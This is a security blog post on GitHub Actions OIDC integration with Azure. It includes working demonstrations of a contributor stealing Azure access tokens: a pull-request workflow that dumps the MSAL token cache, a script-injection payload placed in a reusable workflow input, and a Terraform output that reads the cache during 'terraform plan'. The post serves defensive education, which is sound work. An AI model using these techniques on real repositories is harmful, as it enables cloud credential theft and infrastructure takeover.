GitHub Actions: A Cloudy Day for Security - Part 2
Binary Security spend a lot of time testing and securing CI/CD setups, especially GitHub Actions. In this two-part series we cover some of the many security considerations when using GitHub Actions, with a focus on securing your CI/CD pipeline against adversaries with contributor access to your GitHub repository. We also look at securely integrating GitHub Actions with Azure using OIDC.
This post is focused purely on the integration with Azure. See part 1 for details on the GitHub Actions side of things.
If you prefer consuming your content in video form, you can view my presentation from NDC Security 2025 here that covers many of the same things as this post.
Outline
- Deploying to the Cloud
- OpenID Connect (OIDC)
- Azure Workload Identity Federation
- Reusable Workflows
- Summary: GitHub-Azure integration
- Conclusion
Deploying to the Cloud
In the previous post we assumed that any access to other services than GitHub can be achieved through secrets in some form. This might be true, but is likely not optimal. In particular, it is usually not recommended to make use of static credentials and tokens, as there is always a chance that they leak. The “modern” way to do access between CI/CD and a cloud provider, is using a concept known as Identity Federation. This really is just OpenID Connect (OIDC) wearing a different hat.
OpenID Connect (OIDC)
There are plenty of resources explaining OIDC, and attempting to properly explain all the details of OIDC would also mean this blog post never sees the light of day, so here I will just give a summary of the most important parts of the OIDC flow specifically when looking at how GitHub workflows can use OIDC to access a third party cloud provider.
The key idea here is that the cloud provider trusts GitHub. So instead of my GitHub Action workflow run needing static credentials to authenticate to the cloud, instead we let GitHub itself sign a token, known as an identity token, which contains information about the running workflow. The cloud provider can then check that the token really was signed by GitHub, and if so, trust the claims within the token.
By using such identity tokens and making them short-lived, one greatly improves the security posture compared to a static credential that potentially is valid for months or years. This works, as GitHub can issue identity tokens on the fly. On the cloud provider’s side the identity token is then exchanged for some sort of access token that is used for further operations in the cloud.
The GitHub ID-token
The following workflow will request an identity token from the GitHub OIDC provider and print it (base64 encoded to avoid censoring).
name: Print OIDC identity token
on:
workflow_dispatch:
permissions:
id-token: write
jobs:
view-token:
runs-on: ubuntu-latest
steps:
- name: get-token
run: |
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
echo "$OIDC_TOKEN" | base64 -w0
Let’s look at the contents of such a token. It is a JWT with a header that looks something like:
{"alg":"RS256","kid":"38826b17-6a30-5f9b-b169-8beb8202f723","typ":"JWT","x5t":"ykNaY4qM_ta4k2TgZOCEYLkcYlA"}
The payload looks something like:
{
"actor":"sofiaml",
"actor_id":"43377234",
"aud":"https://github.com/ndc-security-demo",
"base_ref":"",
"event_name":"workflow_dispatch",
"exp":1747616047,
"head_ref":"",
"iat":1747594447,
"iss":"https://token.actions.githubusercontent.com",
"job_workflow_ref":"ndc-security-demo/hello-world/.github/workflows/echo-token.yaml@refs/heads/main",
"job_workflow_sha":"48487f4089e0f2c207fad4d5544910b5371d466e","jti":"66207bc1-9bca-4c74-9e01-87b2814f2b8e",
"nbf":1747594147,
"ref":"refs/heads/main",
"ref_protected":"true",
"ref_type":"branch",
"repository":"ndc-security-demo/hello-world",
"repository_id":"908605466",
"repository_owner":"ndc-security-demo",
"repository_owner_id":"192887639",
"repository_visibility":"private",
"run_attempt":"1",
"run_id":"15099040700",
"run_number":"6",
"runner_environment":"github-hosted",
"sha":"48487f4089e0f2c207fad4d5544910b5371d466e",
"sub":"repo:ndc-security-demo/hello-world:ref:refs/heads/main",
"workflow":"View identity token",
"workflow_ref":"ndc-security-demo/hello-world/.github/workflows/echo-token.yaml@refs/heads/main",
"workflow_sha":"48487f4089e0f2c207fad4d5544910b5371d466e"
}
The ‘sub’ Claim
Now, it is up to the cloud provider which of these claims to use in order to identify what permissions this workflow should have. Many of these are self explanatory, but a particularly interesting claim is the sub
claim, which in the above case looks like:
repo:ndc-security-demo/hello-world:ref:refs/heads/main
Let’s break down what this means:
repo:ndc-security-demo/hello-world
: this workflow run originates from the repositoryhello-world
in thendc-security-demo
organization.ref:refs/heads/main
: this workflow is running off themain
branch
What is contained in the sub
claim is configurable at the organization or repository level, but the default behavior is that the sub
claim value is the result of joining together the following two strings, with a :
as separator:
- the string
repo:<organization or username>/<repository name>
, uniquely defining the repository, and - one of the following three strings, depending on exactly how the workflow was run:
environment:<environment name>
: if the workflow was run in the<environment name>
environmentpull_request
: if the workflow trigger was one of the pull request events (pull_request
,pull_request_target
,pull_request_review
,pull_request_review_comment
) and it was not run in an environmentref:refs/heads/<branch name>
orref:refs/tags/<tag name>
: if neither of the above apply, and the workflow was run on the<branch name>
branch, or off the<tag name>
tag
In order to check what the configured claim value is at the organization or repository level, run the following gh
CLI commands:
gh api orgs/<organization>/actions/oidc/customization/sub
gh api repos/<organization>/<repo>/actions/oidc/customization/sub
By default, nothing is set at the organization level, and the repository level uses the default:
The repository level sub
claim can be configured with the following request to the REST API (I usually just get the token used by the gh
CLI and make the REST request directly instead of remembering how to use the gh
CLI to make REST requests, but I’m sure this can be done with the gh
CLI directly too):
PUT /repos/<organization>/<repository>/actions/oidc/customization/sub HTTP/2
Host: api.github.com
Authorization: token <access token>
<...>
{"use_default": false,"include_claim_keys":[<ordered list of claims to include>]}
For example, this sets the sub claim to be repository_owner
followed by repository_visibility
:
PUT /repos/ndc-security-demo/hello-world/actions/oidc/customization/sub HTTP/2
Host: api.github.com
Authorization: token <access token>
Content-Type: application/json
Content-Length: 90
{"use_default": false,"include_claim_keys":["repository_owner","repository_visibility"]}
When running a workflow from the ndc-security-demo/hello-world
repo, the sub claim value is now
repository_owner:ndc-security-demo:repository_visibility:private
Safe claims
It used to be that the order of the configured claim keys in the sub claim mattered for whether or not it was safe (in the sense that it cannot be impersonated by a malicious actor on GitHub that does not have access to the intended workflow). For example, it is possible to create environments with :
in their name. Imagine a case where a third-party OIDC integration relies on verifying that the sub
claim equals environment:prod:repo:some-org/some-repo
. Previously, if a malicious actor ran a workflow in the prod:repo:some-org/some-repo
environment of a completely unrelated repository, that was configured to only include the environment
claim key, then that resulted in a matching sub
value. Nowadays, the :
s within the environment name are URL-encoded as %3A
within the sub
claim value, which invalidates the attack.
However, one can still construct an unsafe sub
claim value, for example by not including any claim keys that uniquely identify the organization. An example would be using just the environment
claim key, meaning that any repository anywhere can create a matching environment, and thus create the required sub
claim value.
Check out PaloAltoNetworks/github-oidc-utils for a table that shows which claims it is safe to use on their own.
Now that we have some general GitHub OIDC things out of the way, let’s have a look at how the OIDC integration is done in Azure.
Azure Workload Identity Federation
The way to grant a GitHub Actions workflow permissions in Azure using OIDC is with a concept known as workload identity federation. First, we need a so-called user-assigned managed identity in Azure. What that really means is that we need to create an app registration (which will have an associated service principal). We then grant the app registration (really the service principal) whatever permissions are needed, and then we can add a Federated Identity Credential to the app. When a GitHub Actions workflow needs access to Azure resources, certain claims in the GitHub ID token are compared to the configured federated identity credential, and if it’s a match the workflow is allowed to assume the identity of the associated app registration.
Let’s look at an example to understand a bit more what’s going on. Say I have a workflow in the ndc-security-demo/hello-world
repository on GitHub, that needs to add a file to the https://sofiatest.blob.core.windows.net/hmm
container.
First, configure a new app registration in the Azure tenant:
Next, navigate to the target container and go to Access Control (IAM)->Role Assignments, and click “Add”.
In this case we can for example assign the built-in role “Storage Blob Data Contributor” to the app registration:
Next, navigate back to the app registration, go to Manage->Certificates & secrets, select the “Federated credentials” tab and click “Add credential”:
Under “Federated credential scenario”, select “GitHub Actions deploying Azure resources”. This will auto-fill the issuer to https://token.actions.githubusercontent.com
, the audience to api://AzureADTokenExchange
, and prompt you to fill in the organization and repository. It then asks for an “Entity type”, with options Environment, Branch, Pull request and Tag. For now, let’s try the “branch” option. We’re then asked for a branch name, for which we use main
. With all this filled in, we see that the “Subject identifier” field is auto-filled for us:
In this case, the “Subject identifier” becomes
repo:ndc-security-demo/hello-world:ref:refs/heads/main
This “subject identifier” is the key to accessing the configured app registration (service principal), and thus the desired blob. When a GitHub actions workflow presents a GitHub ID token to Azure, Azure will verify the iss
and aud
claims, which will match if the token genuinely came from GitHub, and then Azure checks that the sub
claim matches the configured “Subject Identifier”.
Let’s also look at making use of the credential from a GitHub Actions workflow via example. Start by ensuring that the repository has the default subject configured, i.e. include_claim_keys
is set to ["repo", "context"]
or use_default
is set to true
. We don’t actually need to implement the OIDC token exchange ourselves, but can use the azure/login action that does it for us. It needs the Azure tenant ID, subscription ID and the ID of the app registration (client ID) to run:
name: Deploy to Azure
on:
push:
branches:
- main
permissions:
id-token: write
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: 'Az CLI login'
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Upload file to Azure
run: |
az storage blob upload --data "test" -c hmm -n testblob --account-name sofiatest --auth-mode login
When running the workflow, we see that the subject claim has a value repo:ndc-security-demo/hello-world:ref:refs/heads/main
, which matches the value of the federated identity credential, and authentication is therefore successful:
By default, the azure/login
action will login to the Azure CLI, which is why the above action could run the az storage blob upload
command.
As a pentester or security researcher, you may want to actually extract an access token, instead of just running Azure CLI as part of the workflow. Recall the workflow we previously used to view the ID token. Modify it to specify the correct audience:
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")
The ID token can then be exchanged for an Azure access token (in this case I’ve set the scope to graph.microsoft.com
, replace it with the desired scope) with:
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
Host: login.microsoftonline.com
Content-Length: 2192
Content-Type: application/x-www-form-urlencoded
client_id=<app registration client ID>&grant_type=client_credentials&client_assertion=<GitHub ID token>&client_info=1&client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default
We are now ready to look at the security of Azure federated identity credentials configured with the different suggested entity types.
Branch or Tag as Entity Type
In the above example we used the “Branch” entity type, which resulted in a subject identifier of the form repo:<org>/<repo>:ref:refs/heads/<branch>
. The only way to get an ID token with a matching subject claim is to run the workflow from the correct branch in the correct repository. This brings us back to the earlier topic of Branch Protections. The federated identity credential is only as protected as the branch it is tied to, and in particular, if there is a federated identity credential tied to an unprotected branch, then it can be accessed by anyone with contributor access to the repository.
If one instead selects the “Tag” entity type, the subject identifier becomes of the form repo:<org>/<repo>:ref:refs/tags/<tag>
. In terms of security, this case is nearly identical to the branch case (minus the fact that securing a tag is slightly more convoluted than securing a branch): if there is a federated identity credential tied to an unprotected tag, then it can be accessed by anyone with contributor access to the repository.
Environment as Entity Type
When adding a federated identity credential, if we select “environment” as the entity type, then we are prompted to give an environment name and then the “subject identifier” is auto-completed to for example:
repo:ndc-security-demo/hello-world:environment:prod
This of course brings us back to the topic of Protecting an Environment. The federated identity credential is only as protected as the environment it is tied to, and in particular, if there is a federated identity credential tied to an unprotected environment, then it can be accessed by anyone with contributor access in the repository.
Pull request as Entity Type
Finally, if we select “Pull request” as the entity type then the “subject identifier” is auto-completed to:
repo:ndc-security-demo/hello-world:pull_request
From a security point of view, this is bad, as the only requirement is that the workflow runs from a pull request in the correct repository. To demonstrate this, let’s use the above credential.
As a contributor in the hello-world
repository of the ndc-security-demo
, create two new branches hacker1
and hacker2
. On the hacker2
branch, modify an existing workflow to contain the following code:
name: Steal tokens
on:
pull_request
permissions:
id-token: write
contents: read
jobs:
extract-creds:
runs-on: ubuntu-latest
steps:
- name: azure login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Extract access token
run: |
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0 # Az CLI stores its tokens in msal_token_cache.json
Push both branches to the remote, and create a pull request to merge hacker2
into hacker1
:
We have modified our workflow to trigger on pull requests, and so it will automatically run:
It succeeds, and in the final step it prints the double base64-encoded Azure access token retrieved from the MSAL token cache.
Double base64-decoding the printed string gives us the access token:
In other words:
Custom ‘subject identifier’ Value
It is also possible to configure the subject identifier directly, without using the suggested entity types. Whether or not whatever you set up is safe will have to be checked on a case-by-case basis, but as a starting point, take a look at the previous discussion on safe claims.
Reusable Workflows
We’ve seen that it is not effective to put security controls within the workflow file itself, as collaborators simply can edit the controls. This isn’t entirely true, as there is a way to secure a workflow from contributors, namely by placing the workflow in a different repository. This concept is known as Reusable Workflows, and by making a workflow reusable it can be called from other workflows. We have actually already seen several examples of this previously in the post, for example:
<...>
- name: Add "new" label to issue
uses: actions-ecosystem/action-add-labels@v1 # The 'uses' keyword means we are calling a reusable workflow
with:
github_token: ${{ secrets.GITHUB_TOKEN }}
labels: new
<...>
From a security point of view, this can be used as follows. As a somewhat contrived example, say that as part of pull requests we want to upload a file to Azure blob storage. However, we want to do some checks on the file before it is uploaded. As we have learned, if these checks are made in the workflow file itself, a contributor may simply remove them.
To solve this, make a second repository that hosts a reusable workflow file that accomplishes this check and file upload:
name: File upload example
on:
workflow_call:
secrets:
azure_tenant_id:
required: true
azure_subscription_id:
required: true
azure_client_id:
required: true
inputs:
file_contents:
description: 'Contents that should be uploaded'
required: true
type: string
permissions:
id-token: write
contents: read
jobs:
check-file:
runs-on: ubuntu-latest
steps:
- name: az login
uses: azure/login@v2
with:
client-id: ${{ secrets.azure_client_id}}
tenant-id: ${{ secrets.azure_tenant_id}}
subscription-id: ${{ secrets.azure_subscription_id}}
- name: Example Security Check
run: |
echo "Checking file contents"
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
echo "Malicious content detected!"
exit 1
else
echo "File contents are safe."
fi
- name: Upload file
run: |
az storage blob upload \
--account-name sofiatest \
-n testblob \
-c hmm \
--name myfile.txt \
--file <(echo "${{ inputs.file_contents }}") \
--auth-mode login
The trick here is then to lock down the reusable workflow repository so that only a select few users have access to it. The following workflow calls the reusable workflow:
name: File upload
on:
pull_request:
branches: [main]
permissions:
id-token: write
contents: read
jobs:
upload_file:
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v4
- name: Read file contents
id: file_reader
run: |
FILE_CONTENTS=$(cat my-file.txt)
echo "file_contents=$FILE_CONTENTS" >> "$GITHUB_OUTPUT"
call-reusable:
needs: upload_file
uses: ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@main
with:
file_contents: ${{ needs.upload_file.outputs.file_contents }}
secrets:
azure_tenant_id: ${{ secrets.AZURE_TENANT_ID }}
azure_client_id: ${{ secrets.AZURE_CLIENT_ID }}
azure_subscription_id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
So far, we’ve moved the key workflow code to a separate repository that the typical collaborator does not have collaborator access to. But what is stopping us from just doing what the reusable workflow does directly in our own workflow?
The ‘job_workflow_ref’ claim
One of the claims that is included in the GitHub Actions ID token is the job_workflow_ref
claim. When a workflow in the ndc-security-demo/hello-world
repo calls a reusable workflow in the ndc-security-demo/reusable-workflows
repo, it evaluates to:
ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main
Note that this identifies the workflow file in the reusable-workflows
repo, which our malicious contributor does not have access to. Let’s now configure a federated identity credential in Azure with a subject identifier that matches on the calling repo and the called workflow file:
repo:ndc-security-demo/hello-world:job_workflow_ref:ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main
We also need to configure the hello-world
repo to include the correct claims in the ID token:
PUT /repos/ndc-security-demo/hello-world/actions/oidc/customization/sub HTTP/2
Host: api.github.com
Authorization: token <access token>
<...>
{"use_default": false,"include_claim_keys":["repo", "job_workflow_ref"]}
If we now try to get an Azure access token directly from a workflow in the hello-world
repository it will fail:
This is because the presented sub
claim when running code from a workflow in the hello-world
repo is:
repo:ndc-security-demo/hello-world:job_workflow_ref:ndc-security-demo/hello-world/.github/workflows/deploy-azure.yaml@refs/heads/main
However, when we call the intended reusable workflow, it succeeds in authenticating to Azure:
In summary, the job_workflow_ref
claim will point to the workflow file that we are currently in, whether that be the original workflow file that was run, or a workflow file called by some other workflow. So malicious code that tries to use a federated credential that specifies the job_workflow_ref
has to actually be in the specified workflow file.
Am I safe?
Finally we have a way to safely put security controls within the workflow file itself! Or do we? Recall the Script Injection vulnerability in the previous post. Looking closely at the reusable workflow file from above, we find this bit of code:
- name: Example Security Check
run: |
echo "Checking file contents"
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
<...>
The keen-eyed reader will notice a script injection vulnerability in the way inputs.file_contents
is used. Let’s modify the workflow file in the hello-world
repo to exploit this:
<...>
jobs:
call-reusable:
uses: ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@main
with:
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'
secrets:
azure_tenant_id: ${{ secrets.AZURE_TENANT_ID }}
azure_client_id: ${{ secrets.AZURE_CLIENT_ID }}
azure_subscription_id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
Run the malicious workflow, and observe that we get the Azure access token:
This demonstrates one of many ways in which the reusable workflow setup can be vulnerable. In general, a reusable workflow is only safe if there is no way for the calling workflow to manipulate what code is run. Script injection is just one of many ways in which this can happen, as we shall see next.
The Case of ‘terraform plan’
A recurring challenge we see in our customer’s setup, arises when wanting to use GitHub Actions to deploy to Azure using terraform. You don’t need to know much about terraform to understand this example, but the basic premise is that once you’ve modified your terraform files (which define what is going to be deployed), you run a command terraform plan
, which then checks the current state of any already existing remote infrastructure, determines the difference between the existing infra and your new configuration and then gives a series of changes that will be made to the remote infrastructure to bring it to your current configuration (i.e. a plan). You can then inspect this output and determine if everything looks sane, and if it does you next run terraform apply
to actually apply the plan and make the changes to the remote infrastructure.
For ease of development, the typical setup one wants is that terraform plan
runs on pull requests to the production branch, so the output can be used to catch errors before merging the code. Then, once the code is merged into the production branch, terraform apply
is run.
Take a moment to think about how you would set this up. First of all, the workflow running either terraform command needs access into Azure, to either read (in the case of plan
) or modify (in the case of apply
) your currently deployed resources. It may be tempting to use a single app registration (service principal) for all terraform commands, in which case that service principal will effectively have complete control over your Azure infrastructure. As you already know from our discussion on using pull_request in the subject identifier, if you’re going to allow any workflow running on a pull request to the production branch access to a federated identity, then you’ve just granted all contributors to your repository complete control of your infrastructure.
One may attempt to solve this using a reusable workflow. In a locked-down reusable-workflows
repo, add the following workflow:
name: terraform
on:
workflow_call:
secrets:
azure_tenant_id:
required: true
azure_subscription_id:
required: true
azure_client_id:
required: true
permissions:
id-token: write
contents: read
jobs:
terraform:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
- name: az login
uses: azure/login@v2
with:
client-id: ${{ secrets.azure_client_id}}
tenant-id: ${{ secrets.azure_tenant_id}}
subscription-id: ${{ secrets.azure_subscription_id}}
- name: setup terraform
uses: hashicorp/setup-terraform@v3
- name: terraform init
run: terraform init
- name: terraform plan
run: terraform plan
- name: terraform apply
if: ${{ github.ref == 'refs/heads/main' }}
run: terraform apply -auto-approve
This is innocent enough. It authenticates to Azure using federated identity credentials, and then runs various terraform commands. The sensitive terraform apply
command is only run if the workflow is running off the main
(production) branch.
In the hello-world
repo, add the following workflow that calls the newly created terraform workflow:
name: run terraform plan and apply
on:
workflow_dispatch
permissions:
id-token: write
contents: read
jobs:
terraform:
uses: ndc-security-demo/reusable-workflows/.github/workflows/reusable-terraform.yaml@main
secrets:
azure_tenant_id: ${{ secrets.AZURE_TENANT_ID }}
azure_client_id: ${{ secrets.AZURE_CLIENT_ID }}
azure_subscription_id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
Then, add a Federated Identity Credential in Azure to the target app registration (service principal) with subject identifier:
repo:ndc-security-demo/hello-world:job_workflow_ref:ndc-security-demo/reusable-workflows/.github/workflows/reusable-terraform.yaml@refs/heads/main
This checks:
- That the workflow run originates from the
hello-world
repo in thendc-security-demo
organization. - That the currently calling bit of code originates from the workflow file at
.github/workflows/reusable-terraform.yaml
in thereusable-workflows
repo of thendc-security-demo
organization, and that said workflow file is on themain
branch of that repo.
Let us also assume that I, a malicious person, have contributor access to the hello-world
repo, read access to the reusable-workflows
repo and that the hello-world
repo has proper branch protections set up on their main
branch. The obvious attack here to compromise this organization’s Azure infrastructure is to attempt to get the workflow to successfully authenticate to Azure and then run terraform apply
with my malicious code.
But the reusable-terraform.yaml
file is locked down, so I can’t simply edit out the check for the main
branch, or otherwise modify the workflow to do my malicious deeds.
As a slight side note, if the federated identity credential were set up to only match on the job_workflow_ref
, and didn’t also include the repo
claim, then a different attack opens up. In this case, I could create a completely new repo in the ndc-security-demo
organization, sofia-test
, which I would now be the administrator of. As an administrator, there is no issue committing whatever malicious code to my own repo’s main
branch. So then I would push my malicious code directly to the main
branch of sofia-test
, and make a workflow that uses the reusable-terraform.yaml
workflow. The federated identity credential subject identifier would match, and within the reusable-terraform.yaml
workflow the check whether we are currently on the main
branch would succeed, thus executing terraform apply
with my malicious code.
Side note aside, even in the “proper” setup, there is a way to achieve my malicious goals. The key to this, is that actually the terraform plan
command allows for arbitrary code execution.
As a malicious user in the hello-world
repository, modify (or add) a terraform file to have the following contents:
output "msal_token_cache" {
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
}
All this does, is read the MSAL token cache (which has the Azure access token) and output the doubly base64-encoded contents of it. And notably, this step will run as part of terraform plan
. We could also get more fancy and execute arbitrary commands by using the external data source in terraform.
Then, modify a workflow to run on our hacker branch, and to call the reusable-terraform.yaml
workflow. This will then run successfully:
As expected, the terraform plan
step will exfiltrate the Azure access token:
In this example, running terraform plan
with user-controllable terraform files could of course be any number of similar operations, like deploying other infrastructure-as-code technologies, building user-controllable source code or running user-controllable code. There could also be further dependencies on other workflows or packages that are not as locked down as the reusable workflow file. The moral here is that completely locking down a workflow file is hard, and ensuring that it is safe will probably have to be checked on a case by case basis.
Pinning
When talking about reusable workflows, the topic of pinning should also be discussed. In the examples of calling workflows we’ve seen so far, they have always been tied to either a branch or a tag with the syntax <path to action>@<branch or tag>
, e.g. ndc-security-demo/reusable-workflows/.github/workflows/reusable-terraform.yaml@main
. There is another option, which is to tie the workflow file to a specific commit SHA as follows:
name: run terraform plan and apply
on:
workflow_dispatch
permissions:
id-token: write
contents: read
jobs:
terraform:
uses: ndc-security-demo/reusable-workflows/.github/workflows/reusable-terraform.yaml@6e0e1a08367bc26a4cd2fbb00f70f3e403dba49e
secrets:
azure_tenant_id: ${{ secrets.AZURE_TENANT_ID }}
azure_client_id: ${{ secrets.AZURE_CLIENT_ID }}
azure_subscription_id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
Now, even if the ndc-security-demo/reusable-workflows
repository were to be completely compromised, our calling repository wouldn’t be affected, as the commit hash ensures we’re still using the expected version of the workflow.
In general, whenever using a workflow from an untrusted third party, it should be pinned to a commit hash, to protect against attacks like the recent supply chain attack compromise of tj-actions
.
Summary: GitHub-Azure integration
In summary, if you want to integrate GitHub actions with your Azure resources using federated identities (which is what you should be using to integrate the two, even if this post may make it seem like it is completely broken), and you don’t want a single contributor to be able to take control of your infrastructure, then you should:
- Ensure that all federated identity credentials have a subject identifier that specifies the organization and repository in some way.
- Never use the pull request entity type on a federated identity credential that gives access to anything sensitive. I.e., the subject identifier in the federated identity credential should never be of the form
repo:<repo>:pull_request
. - For sensitive credentials with subject identifiers tied to an environment, branch or tag, ensure that the corresponding GitHub environment, branch or tag is protected as described above in part1.
- If using any other claims than the standard ones (repo plus branch, environment or tag), ensure that the corresponding GitHub resource or property is as secure as you intend the federated identity credential to be.
- If using the
job_workflow_ref
claim to tie a credential to a “safe” workflow, ensure that the workflow really is safe, and that it has no mechanism for the caller to execute their own code. - Follow the principle of least privilege with the permissions you hand out to app registrations (service principals) with federated identity credentials. This is good advice in general, not just for these integrations.
Conclusion
The topic of security in GitHub Actions is obviously much larger than what I manage to cover in a couple of blog posts. At the end of the day, if you have a GitHub CI/CD setup and want to be as secure as possible, the best thing you can do is probably to perform a security test, either as part of a bigger penetration test or as a standalone exercise.